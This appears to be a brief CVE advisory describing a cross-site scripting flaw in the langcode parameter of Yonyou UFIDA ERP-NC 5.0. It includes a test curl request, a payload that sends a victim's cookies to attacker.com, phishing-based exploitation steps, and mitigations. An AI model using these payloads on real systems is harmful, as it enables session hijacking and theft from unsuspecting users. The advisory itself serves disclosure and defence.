Listen to this Post
How the CVE Works
The vulnerability in Yonyou UFIDA ERP-NC 5.0 arises from improper input sanitization in the `/help/systop.jsp` file. The `langcode` parameter is directly manipulated without validation, allowing an attacker to inject malicious JavaScript code. When a user accesses the vulnerable page, the script executes in their browser context, leading to Cross-Site Scripting (XSS). The attack can be performed remotely, and since the vendor did not respond to initial disclosure, public exploits may already exist. The CVSS 4.0 score reflects a medium-severity issue due to the need for user interaction (UI:P) and limited impact on confidentiality (VC:N).
DailyCVE Form
Platform: Yonyou UFIDA ERP-NC
Version: 5.0
Vulnerability: XSS
Severity: Medium
Date: 07/15/2025
Prediction: Patch by 10/2025
What Undercode Say
curl -X GET "http://target/help/systop.jsp?langcode=<script>alert(1)</script>"
payload = "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
How Exploit
- Craft malicious `langcode` payload
- Send link to victim or embed in phishing page
- Steal session cookies or redirect user
Protection from this CVE
- Sanitize `langcode` input
- Deploy WAF rules
- Disable `/help/systop.jsp` if unused
Impact
- Session hijacking
- Unauthorized actions
- Data leakage
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
